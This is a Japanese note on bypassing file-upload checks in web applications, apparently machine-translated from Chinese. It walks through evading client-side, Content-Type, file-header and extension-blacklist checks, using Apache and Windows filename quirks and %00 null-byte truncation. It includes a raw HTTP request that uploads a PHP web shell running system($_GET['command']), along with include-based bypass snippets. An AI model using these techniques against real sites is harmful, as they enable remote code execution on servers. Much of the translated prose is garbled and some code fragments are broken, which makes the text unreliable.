ファイルアップロードのバグ整理ノート
11010 ワード
ファイルアップロードの脆弱性
ファイルアップロードチェックの姿勢クライアントjavascriptチェック(一般的には拡張子のみチェック)は、一般的には、ウェブページにJavascriptスクリプトを書いて、アップロードファイルの拡張子の名前を確認します.ホワイトリスト形式もブラックリスト形式もあります.判断方法:ブラウザでファイルをロードしますが、アップロードボタンをクリックしていない場合は、ダイアログが表示されます.例えば、アップロードのみ許可されます.jpg/.pngの拡張子のファイルは、この時はパケット を送信していません.サービスセグメントの検証 contentt-typeフィールドチェックここではPHPコードを例にとって、ウェブサーバ端のチェックコード をシミュレートします.
ファイルヘッダ検証は、自分の書いた正則と一致することによって、ファイルヘッダの内容が要求に合致しているかどうかを判定し、例えば、 .JPEGJPE;JPG,「Exif」「JFIF」などの .gif、「GIF 89 a」 .zip,「Zip Comppress」 .docxls;xlt;ppt;apper,「MS Compund Dcument v 1 or Lotus Aproach APRfile」 ファイルをアップロードし、チェックポーズをバイパスします. クライアントがバイパスします.まずgifタイプの木馬をアップロードして、burpを通じてasp/php/jspの後綴り名に変更すればいいです. ファイルタイプは回り道してもいいです.キャプチャによってcontent-typeフィールドをイメージ/gif に変更できます.
ファイルのヘッダは木馬の内容の基礎の上でいくつかテキストの情報を加えて迂回して、少し下の構造に似ています.GIF 89 a ファイルの拡張子の名前が迂回された前提:ブラックリストの検査:ブラックリストの検査:一般的に専用のblacklistファイルがあります.バイパス方法 ブラックリストの拡張子のネットの魚を探して、たとえば:asaとcerなどの には、例えば、aspやpHpなどの解析可能なファイル拡張子リストがあります.jsp jspx jsp asp asa cer asp 2 php 3 php 4 exe 準拠ファイルには脆弱性アップロード前提が含まれています.チェックルールは現在のファイルの内容が木馬迂回方式かどうかをチェックします.(phpを例にして) は、サーバー解析の脆弱性をApache解析の脆弱性に合わせて、test.php.rarとAppheに解析されます.test.php(1)Appheのconfにこのような行が配置されていれば、ファイル名が含まれています.phpは、ファイル名がtest.ph.jpgであってもphpで実行されます.(2)AppheのconfにAddTypeアプリ/x-httpd-php.jpgというラインがあると、phpで実行できます. オペレーティングシステムファイル命令規則(1)に合わせて、windowsファイル名規則に合わないファイル名をアップロードする. test.asp. test.asp(スペース) test.php:1.jpg test.php:$DATA shell.php:$DATA... windowsシステムによって自動的にルールに合わない記号の後ろの内容が取り除かれます.(2)linuxの下で、拡張子のサイズはlinuxに書いてあります.アップロードphpが解析されないなら、アップロードpHp拡張子を試してみてもいいです.は、他の規則(1)0 x 00と連携して遮断する.1つの組合せ論理ホールに基づいて、通常はファイルパスを作成する時に存在する. test.php(0 x 00).jpg test.php%00.jpg パス/uplload/1.php(0 x 00)、ファイル名1.jpg、結合/upload/1.php(0 x 00)/1.jpgダミーコードのデモンストレーション:
ファイルアップロードチェックの姿勢
if($_FILES['userfile']['type'] != "image/gif") # , image/gif 。
{
echo "Sorry, we only allow uploading GIF images";
exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile))
{
echo "File is valid, and was successfully uploaded.
";
}
else {
echo "File uploading failed.
";
}
?>
コードが見られます.アップロードファイルのファイルタイプを判断しました.ピクチャタイプでなければ、エラーを返します. POST /upload.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif ==( Content-Type: text/plain)==
system($_GET['command']);?>
--xYzZY-
include(" txt ") ?>
この場合、このphpファイルはtxtファイルの内容を参照して、検証をバイパスします. #php
include(" txt ") ?>
#asp
<!-- #include file=" txt " -->
#jsp
<jsp:inclde page=" txt "/>
or
<%@include file=" txt "%>
name= getname(httprequest) // help.asp.jpg(asp 0x00)
type =gettype(name) // gettype() , jpg
if(type == jpg)
SaveFileToPath(UploadPath.name, name) // 0x00
// help.asp
このような利用方法はphpバージョンが5.3.4以下のサーバーに限って、Magic_「te」gpcオプションがオフの場合は、ファイル名に%00を使って切断できます.